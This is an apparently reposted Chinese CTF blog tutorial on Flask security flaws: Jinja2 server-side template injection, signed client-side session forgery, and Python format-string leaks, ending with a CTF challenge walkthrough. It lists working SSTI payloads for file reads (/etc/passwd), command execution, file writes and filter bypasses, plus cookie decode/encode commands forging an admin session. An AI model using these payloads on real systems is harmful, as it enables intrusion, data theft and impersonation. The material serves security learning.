flask框架漏洞
在ctf里遇到了关于flask框架漏洞的题,此篇博文较为详细转自https://www.jianshu.com/p/56614e46093e一、简介Flask 是一个使用 Python 编写的轻量级 Web 应用框架。Flask 依赖两个外部库: Jinja2模板引擎和WSGI 工具集。1、常用概念WSGI 只是一种接口,它只适用于 Python 语言,其全称为 Web Server Gatewa
在ctf里遇到了关于flask框架漏洞的题,此篇博文较为详细
转自https://www.jianshu.com/p/56614e46093e
一、简介
Flask 是一个使用 Python 编写的轻量级 Web 应用框架。Flask 依赖两个外部库: Jinja2模板引擎和WSGI 工具集。
1、常用概念
- WSGI 只是一种接口,它只适用于 Python 语言,其全称为 Web Server Gateway Interface,定义了 web服务器和 web应用之间的接口规范。也就是说,只要 web服务器和 web应用都遵守WSGI协议,那么 web服务器和 web应用就可以随意的组合。
- flask使用Jinja作为模板语言,模板应该放在myapp/templates/——一个在应用文件夹里面的目录。Jinja有两种定界符:{% … %}和{{ … }}。前者用于执行类似循环或赋值的语句,后者向模板输出表达式求值的结果。
2、jinja2
from flask import Flask,render_template,request,render_template_string
app=Flask(__name__)
@app.route('/',methods=['GET','POST'])
def test():
code = request.args.get('test')
html = '<html>%s</html>'
return html%code
- flask使用的渲染引擎是Jinja2,我们可以直接return一些HTML代码来实现网页的格式化,但是这样会导致XSS漏洞.。
- 为了避免XSS,可以使用render_tempplate_string对输入的文本进行渲染。
from flask import Flask,render_template,request,render_template_string
app=Flask(__name__)
@app.route('/',methods=['GET','POST'])
def test():
html='<html>{{var}}<html>'
test = request.args.get('test')
return render_template_string(html,var=test)
</html></html>
- {{}}为变量包裹标示符,在render_template_string传参即可替换{{var}}为GET传参变量test,再次进行XSS实验,可以看到已经被转义了。
- 可以借助render_template从templates文件夹中加载我们想要的html文件,然后对里面的内容进行修改输出。
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
<h1>this is template html file</h1>
<p>get var {{var}}</p><p>
</p></body>
</html>
from flask import Flask,render_template
app=Flask(__name__)
@app.route('/')
def test():
return render_template('index.html',var="test")
- 使用render_template函数引用了templates文件夹下面的index.html模板,然后传入一个参数var,用来控制模板中的{{var}}。
二、SSTI漏洞
SSTI(Server-Side Template Injection) 服务端模板注入
,服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分。通过模板,Web应用可以把输入转换成特定的HTML格式。在进行目标编译渲染的过程中,若用户插入了相关恶意内容,结果可能导致了敏感信息泄露、代码执行、GetShell 等问题。
1、基础知识
- 在jinja2中,存在三种语句:控制结构 {% %}、变量取值 {{ }}、注释 {# #}。
- jinja2模板中使用 {{ }} 语法表示一个变量,它是一种特殊的占位符。当利用jinja2进行渲染的时候,它会把这些特殊的占位符进行填充/替换,jinja2支持python中所有的Python数据类型比如列表、字段、对象等。
- 在Jinja2引擎中,{{}}不仅仅是变量标示符,也能执行一些简单的表达式。
- 模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。
2、漏洞成因
将参数当字符串来渲染并且使用了%(request.url)导致模版渲染可控。如下:
from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_string
app = Flask(__name__)
@app.route('/test',methods=['GET', 'POST'])
def test():
template = '''
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
''' %(request.url)
return render_template_string(template)
if __name__ == '__main__':
app.debug = True
app.run()
漏洞代码使用了render_template_string函数,而如果使用render_template函数,将变量传入进去,经过固定模版的渲染便不可控了。
3、漏洞利用
在python中,object类是Python中所有类的基类,如果定义一个类时没有指定继承哪个类,则默认继承object类。
(1)类说明
- 在flask ssti中poc中很大一部分是从object类中寻找我们可利用的类的方法。
- class,返回当前对象所属的类。
- base 和 bases 作用都是返回当前类所继承的类,即基类,区别是base返回单个,bases以元组形式返回所有基类。
- mro给出了method resolution order,即解析方法调用的顺序。以元组形式返回继承关系链。
- 在python中,每个类都有一个bases属性,列出其基类。
- mro给出了method resolution order,即解析方法调用的顺序。
- subclasses() 方法返回的是这个类的子类的集合,也就是object类的子类的集合。
- globals以dict形式返回函数所在模块命名空间中的所有变量。
可以通过dir(object)列出python 3.6 版本下的object类下的方法集合。这里要记住一点2.7和3.6版本返回的子类不是一样的,但是2.7有的3.6大部分都有。需要自己寻找合适的标号来调用。POC的编写就是需要找到合适的类,然后从合适的类中寻找我们需要的方法。
(2)寻找方法
获取基本类->获取基本类的子类->在子类中找到关于命令执行和文件读写的模块。
可以利用.init.globals来找os类下的,init初始化类,然后globals全局来查找所有的方法及变量及参数。
1、获取’‘的类对象:''.__class__
2、追溯继承树:''.__class__.__mro__
3、可以看到object已经出来了,然后继续向下查找object的子类:''.__class__.__mro__[2].__subclasses__()
4、找到可执行命令或者读文件的方法,找到第40个为<type> 'file',执行命令:''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
(3)常用payload
经常会有paylaod打不通的情况类所在的索引随环境变换而不一样,下标也应随之改变,所以打不通可以再找一个能利用的类。
构造继承链的思路是
1)随便找一个内置类对象用class拿到他所对应的类
2)用bases拿到基类(
python3
- 文件读取:{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('1.py').read()}}
- 命令执行:{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
python2
- 文件读取:{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
- 文件读取:().\_\_class__.\_\_bases\_\_[0].\_\_subclasses__()[40]('/etc/passwd').readlines
- 文件读取:{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
- 写文件:{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}
- 命令执行:{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()"
- 命令执行:{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}}
{{ config.from_pyfile('/tmp/owned.cfg') }}
-
python2、python3共有,可命令执行:
{% for c in ().__class__.__bases__[0].__subclasses__(): %}
{% if c.__name__ == '_IterationGuard': %}
{{c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()") }}
{% endif %}
{% endfor %}
一些绕过tips
(1)过滤[]等括号
使用gititem绕过。如原poc {{"".class.bases[0]}}
绕过后{{"".class.bases.getitem(0)}}
(2)过滤了subclasses,拼凑法
原poc{{"".class.bases[0].subclasses()}}
绕过 {{"".class.bases[0]['subcla'+'sses']}}
(3)过滤class,使用session
poc {{session['cla'+'ss'].bases[0].bases[0].bases[0].bases[0].subclasses()[118]}}
多个bases[0]是因为一直在向上找object类。使用mro就会很方便
{{session['__cla'+'ss__'].__mro__[12]}}
或者
request['__cl'+'ass__'].__mro__[12]}}
(4)timeit姿势
import timeit
timeit.timeit("__import__('os').system('dir')",number=1)
import platform
print platform.popen('dir').read()
三、session漏洞
1、介绍
客户端请求服务端时,服务端会为客户端创建一个Session,并检查请求中是否包含Session ID。一般来说,Session ID则以Cookie的形式保存在客户端。但这种方式有一个弊端就是如果客户端禁用了Cookie,那么Session机制将无法正常工作。
2、flask session
将session存储在客户端cookie中,最重要的就是解决session不能被篡改的问题。
由于 flask 是非常轻量级的 Web框架 ,其 session 存储在客户端中(可以通过HTTP请求头Cookie字段的session获取),且仅对 session 进行了签名,缺少数据防篡改实现,这便很容易存在安全漏洞。
(1)flask session 分析
flask对session的处理位于flask/sessions.py中,默认情况下flask的session以cookie的形式保存于客户端,利用签名机制来防止数据被篡改。
.eJwljrFuwzAMBf9FcwZSpkQyP2NQoh5aBGgBO5mC_HsNdLy75d5lx7HOr3J_Hq91K_t3lnuxGamDI6kmLPpa1TE0UKteyYSpJyaaVJ8hRGZDk7ZtLlEbpALjxjOc1SaZWzLSx-aB3p0djSta984kjXqMrQqrE3WhBMo18jrX8X_D9eJ5Htifv4_1cxltCgQ3V0zvIsGBjDAlGQsqNJEi08vnD15kP8Q.XxKIMg.iW96TDgIamKLQ0x9h5LoPsUCIvw
- 通过.隔开的3段内容,第一段其实就是base64 encode后的内容,但去掉了填充用的等号,若decode失败,自己需要补上1-3个等号补全。中间内容为时间戳,在flask中时间戳若超过31天则视为无效。最后一段则是安全签名,将sessiondata,时间戳,和flask的secretkey通过sha1运算的结果。
json->zlib->base64后的源字符串 . 时间戳 . hmac签名信息
- 服务端每次收到cookie后,会将cookie中前两段取出和secretkey做sha1运算,若结果与cookie第三段不一致则视为无效。
- 从cookie获取session的过程便是验证签名->验证是否过期->解码。
(2)漏洞成因
漏洞的根源是secretkey被获取,应当使用完全随机的secretkey,或在clone某项目后修改为随机的key。
需要特别注意的是python2与python3下产生的timestamp是不一样的!!
(3)利用工具:
- 网址:(https://github.com/noraj/flask-session-cookie-manager)
- 通过上述脚本解密处 session ,我们就可以大概知道 session 中存储着哪些基本信息。然后我们可以通过其他漏洞获取用于签名认证的 secret_key ,进而伪造任意用户身份,扩大攻击效果。
四、格式化字符串问题
在 python 中,提供了 4种 主要的格式化字符串方式。
1、第一种:%操作符
%操作符 沿袭C语言中printf语句的风格。
>>> name = 'Bob'
>>> 'Hello, %s' % name
"Hello, Bob"
2、第二种:string.Template
使用标准库中的模板字符串类进行字符串格式化。
>>> name = 'Bob'
>>> from string import Template
>>> t = Template('Hey, $name!')
>>> t.substitute(name=name)
'Hey, Bob!'
3、第三种:调用format方法
python3后引入的新版格式化字符串写法,但是这种写法存在安全隐患。
>>> name , errno = 'Bob' , 50159747054
>>> 'Hello, {}'.format(name)
'Hello, Bob'
>>> 'Hey {name}, there is a 0x{errno:x} error!'.format(name=name, errno=errno)
'Hey Bob, there is a 0xbadc0ffee error!'
安全隐患事例如下:
>>> config = {'SECRET_KEY': '12345'}
>>> class User(object):
... def __init__(self, name):
... self.name = name
...
>>> user = User('joe')
>>> '{0.__class__.__init__.__globals__[config]}'.format(user)
"{'SECRET_KEY': '12345'}"
如果用来格式化的字符串可以被控制,攻击者就可以通过注入特殊变量,带出敏感数据。
4、第四种:f-Strings
这是python3.6之后新增的一种格式化字符串方式,即’``'其功能十分强大,可以执行字符串中包含的python表达式,安全隐患可想而知。
>>> a , b = 5 , 10
>>> f'Five plus ten is {a + b} and not {2 * (a + b)}.'
'Five plus ten is 15 and not 30.'
>>> f'{__import__("os").system("id")}'
uid=0(root) gid=0(root) groups=0(root)
'0'
五、实例
1、题目来源:UCAS七月月赛(web-flask)
2、题目考点:flask ssti、flask session伪造
3、解题思路:
(1)得到secret_key:
(2)session伪造admin,得到flag路径:
其中,_user_id可能是需要伪造的点,猜想admin的_user_id为1;
解密:
python flask_session_cookie_manager2.py decode -c .eJwljrFuwzAMBf9FcwZSpkQyP2NQoh5aBGgBO5mC_HsNdLy75d5lx7HOr3J_Hq91K_t3lnuxGamDI6kmLPpa1TE0UKteyYSpJyaaVJ8hRGZDk7ZtLlEbpALjxjOc1SaZWzLSx-aB3p0djSta984kjXqMrQqrE3WhBMo18jrX8X_D9eJ5Htifv4_1cxltCgQ3V0zvIsGBjDAlGQsqNJEi08vnD15kP8Q.XxKIMg.iW96TDgIamKLQ0x9h5LoPsUCIvw
{"_fresh":false,"csrf_token":"a0972006ffd82895b5dad41252d08181f3fc0c8a"}
{"_fresh":true,"_id":"8cad7b1ad02df8a6ee29fb7af227cad84106dfcf5429ca40088b7d033ce478b074f8151ca9178c0898d1fd9b39af66919f512f5696104506ab32417900640dff","_user_id":"12","csrf_token":"757ffa1597fc9644a1afdaa8704bef740cfd44c9"}
加密
python flask_session_cookie_manager2.py encode -s '9RqazxdzNwq721!nOodK3*' -t "{u'_fresh': True,u'_id': u'8cad7b1ad02df8a6ee29fb7af227cad84106dfcf5429ca40088b7d033ce478b074f8151ca9178c0898d1fd9b39af66919f512f5696104506ab32417900640dff',u'_user_id': u'1',u'csrf_token': u'757ffa1597fc9644a1afdaa8704bef740cfd44c9'}"
(3)SSTI读/home/flag.txt
参考
1、https://www.cnblogs.com/Rasang/p/12181654.html
2、https://xz.aliyun.com/t/3679
3、https://www.shangyexinzhi.com/article/1914048.html
4、https://github.com/mez-0/ssti-payload
5、https://www.jianshu.com/p/a1d6ae580add
6、https://www.cnblogs.com/hackxf/p/10480071.html
7、https://zgao.top/flask之ssti服务端模版注入漏洞分析/
8、https://wh0ale.github.io/2019/01/17/2019-1-17-session漏洞/
9、flask源码解析
10、客户端session导致的安全问题
10、https://www.anquanke.com/post/id/163975
11、https://mochazz.github.io/2018/12/11/python web之flask session&格式化字符串漏洞/#案例分析
更多推荐
所有评论(0)